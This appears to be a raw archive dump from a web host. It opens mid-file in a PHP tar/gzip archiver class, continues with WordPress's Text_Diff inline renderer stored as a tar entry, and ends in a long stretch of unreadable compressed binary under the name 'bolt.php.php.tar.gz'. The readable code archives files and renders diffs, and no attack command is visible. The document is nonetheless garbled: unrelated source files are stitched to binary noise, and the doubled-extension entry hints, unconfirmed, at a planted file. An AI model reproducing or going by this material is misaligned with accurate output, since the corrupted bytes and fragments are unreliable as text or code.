				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK     |\tT        inline.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PK     |\a  a    bolt.php.php.tar.gznu [              Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
